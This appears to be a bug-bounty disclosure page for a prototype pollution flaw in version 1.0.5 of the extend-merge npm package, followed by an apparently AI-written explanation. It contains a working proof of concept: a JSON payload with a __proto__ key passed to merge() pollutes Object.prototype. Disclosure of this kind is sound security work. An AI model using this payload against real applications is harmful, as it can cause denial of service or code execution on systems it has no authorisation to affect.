[extend-merge] Prototype pollution
The merge function in the extend-merge npm package allows an attacker to add or modify properties on the Object prototype by passing an object with a __proto__ property. This can lead to denial of service, remote code execution, or property injection depending on the application.
- Triaged in 4 hours
- Fixed in 4 months
- Disclosed after 4 months
I would like to report a prototype pollution vulnerability in extend-merge module.
It allows an attacker to inject properties on Object.prototype.
Module
module name: extend-merge
version: 1.0.5
npm page: https://www.npmjs.com/package/extend-merge
Module Description
Shallow extend and deep merge utility function.
Module Stats
[48] weekly downloads
Vulnerability
Vulnerability Description
The merge function can be used to add/modify properties of the Object prototype. These properties will be present on all objects.
Steps To Reproduce:
- install
extend-mergemodule:npm i extend-merge
Create an object with __proto__ property and pass it to the merge function:
const extend_merge = require('extend-merge');
const payload = JSON.parse('{"__proto__":{"polluted":"yes"}}');
let obj = {};
console.log("Before : " + obj.polluted);
extend_merge.merge({}, payload);
console.log("After : " + obj.polluted);
Output:
Before : undefined
After : yes
Supporting Material/References:
- OPERATING SYSTEM VERSION: Ubuntu 18.04.4 LTS
- NODEJS VERSION: v14.1.0
- NPM VERSION: 6.14.5
Wrap up
- I contacted the maintainer to let them know: [N]
- I opened an issue in the related repository: [N]
Thank you for your time.
best regards,
d3lla
Impact
The impact depends on the application. In some cases it is possible to achieve Denial of service (DoS), Remote Code Execution, Property Injection.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The merge function allows keys like __proto__ to modify Object.prototype.
Impact
Depending on the application, this could lead to denial of service, remote code execution, or property injection.
What the attacker needed
Application uses extend-merge; attacker can control input to merge
How it was found
- Install the extend-merge module.
- Create an object with a __proto__ property containing the desired polluted property.
- Pass an empty object and the malicious object to the merge function.
- Observe that the polluted property is now present on all objects.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Prototype pollution is a bug where an attacker can add or change properties on a base object that all other objects inherit from. In JavaScript, every object inherits from Object.prototype, so polluting it affects every object in the program. This can break the application or, in some cases, let the attacker run their own code.
What is Prototype pollution?
Input changes JavaScript's shared object prototype, altering behaviour across the application, sometimes to XSS or code execution.